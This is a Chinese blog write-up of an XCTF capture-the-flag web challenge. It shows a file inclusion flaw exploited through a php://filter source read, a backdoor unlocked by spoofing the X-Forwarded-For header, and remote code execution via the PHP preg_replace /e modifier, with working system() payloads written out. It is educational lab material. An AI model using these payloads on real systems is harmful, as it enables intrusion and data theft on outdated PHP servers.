关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题考察的是命令执行漏洞与文件包含漏洞,想要通过此关,你需要了解以下知识点:
-
PHP 5.5 以前
preg_replace ()
函数存在代码执行漏洞,利用模板如下:-
preg_replace("/(a)/e", "system('ls')", "ab")
-
-
X-Forwarded-For:127.0.0.1
-> : 号两边最好不要加空格,小心返回包报错。
0x02:Write UP
从题目来看,目标的工控云管理系统的维护中心存在一个现成的后门,我们只要发现它即可。进入靶场:
页面写的不错,可惜都不能点,只有 “设备维护中心” 可以点进去:
页面上啥也没,老传统,查看 HTML 代码。通过对 HTML 代码的查看,我们可以发现在维护中心页面还有一个可以点击的标签:
点击一下,向后端传入了?page=index 的信息,随后页面上也渲染上了 index 的字样:
此时怀疑可能存在文件包含漏洞,这里简单的列举一下我的测试流程(就不放一张张图了,节省一下往下翻的时间):
- ?page=index -> 页面渲染 index -> 怀疑可以直接包含 flag 文件
- ?page=flag.php -> 页面啥也不返回,不鸟我 -> 怀疑不在当前目录,老传统往上层目录找
- ?page=./../../../../ flag.php -> 一层一层测试,最终放弃 -> 重新检查是否真的存在文件包含漏洞
- ?page=index.php -> 页面渲染 Ok -> 最特殊的一个,但是不知道有啥鸟用
- ?page=index.html -> 页面渲染 index.html 页面 -> 确定存在文件包含漏洞 -> 回头复盘,怀疑 ?page=index.php 返回 Ok 是我读取姿势不对 -> php 伪协议读取
- ?page=php://filter/convert.base64-encode/resource=index.php -> 成功返回 Base64 编码的 index.php 内容
将目标后端传递回来的内容,到在线 Base64 解码的平台解密一下,部分内容截图如下:
浅浅的再做一下代码审计,审计的主要部分如下:
-
- $page = $_GET[page]; // 接收 Get 请求参数,关键字: page
- if (isset($page)) {
- if (ctype_alnum($page)) { // ctype_alnum() 检查传入的 page 参数是否全是字母或数字,是 return True,否则 return False
- ?>
-
- "text-align:center">
-
class="lead">php echo $page; die();?>p>
- <br /><br /><br /><br />
- php
- }else{ // 如果 page 中存在不是字母或数字的字符,则执行以下代码
- ?>
-
- "text-align:center">
-
class="lead">
- php
-
- if (strpos($page, 'input') > 0) { // 存在 input 关键字,中止执行 -> php://input 不能用咯
- die();
- }
-
- if (strpos($page, 'ta:text') > 0) { // 存在 ta:text 关键字,中止执行
- die();
- }
-
- if (strpos($page, 'text') > 0) { // 存在 text 关键字,中止执行 -> data://text/plain 不能用咯
- die();
- }
-
- if ($page === 'index.php') { // 传入的页面 === index.php 输出 OK,并中止执行
- die('Ok');
- }
- include($page); // 文件包含
- die();
- ?>
-
-
-
-
- }}
-
- //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
- if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { // 如果请求包的 X-Forwarded-For 字段为 127.0.0.1,则执行以下代码
-
- echo "
Welcome My Admin !
"; -
- $pattern = $_GET[pat];
- $replacement = $_GET[rep];
- $subject = $_GET[sub];
-
- if (isset($pattern) && isset($replacement) && isset($subject)) { // 如果设置了 pattern, replacement 和 subject 参数,则执行以下代码
- preg_replace($pattern, $replacement, $subject); // 正则表达式替换? -> 有鬼!
- }else{
- die();
- }
-
- }
- ?>
通过对代码的审计,我们发现了一个异常的函数 preg_replace (replacement,$subject); 谁没事找事把一个无聊的正则表达式替换藏这么深啊,有鬼!
通过百度”preg_replace () 函数漏洞 “我们可以非常轻易的发现,该函数在 PHP5.5 以前存在代码执行漏洞。

这里通过几个例子让大家对该漏洞有个更加清晰的认识:
-
- var_dump(preg_replace("/(a)/e", "strtolower('B')", "ab")); // strtolower() -> 将字母转换为小写 -> 最终结果为 'bb'
- var_dump(preg_replace("/(a)/e", "strtoupper('b')", "ab")); // strtoupper() -> 将字母转换为大写 -> 最终结果为 'Bb'
可以看到,他会执行 $replacement 中的代码,然后将执行结果与匹配结果替换后,返回最终结果。
好了,回归题目,如果大家细致的看过目标的返回包,你也能看到目标的 PHP 版本,刚好是 PHP/5.5.9,漏洞还存在:

下面利用 BurpSuite,抓包,为我们的请求包添加上 X-Forwarded-For 字段并设置字段值为 127.0.0.1,伪造为内部人员登录:

下面携带我们的 Payload 查看一下目标网页文件:
?pat=/(a)/e&rep=system('ls')&sub=a

成功执行并获取了目标目录结构,下面我就不慢慢找 flag 了,获取 flag 的 Payload 如下:
?pat=/(a)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=a

0x03:参考资料
评论记录:
回复评论: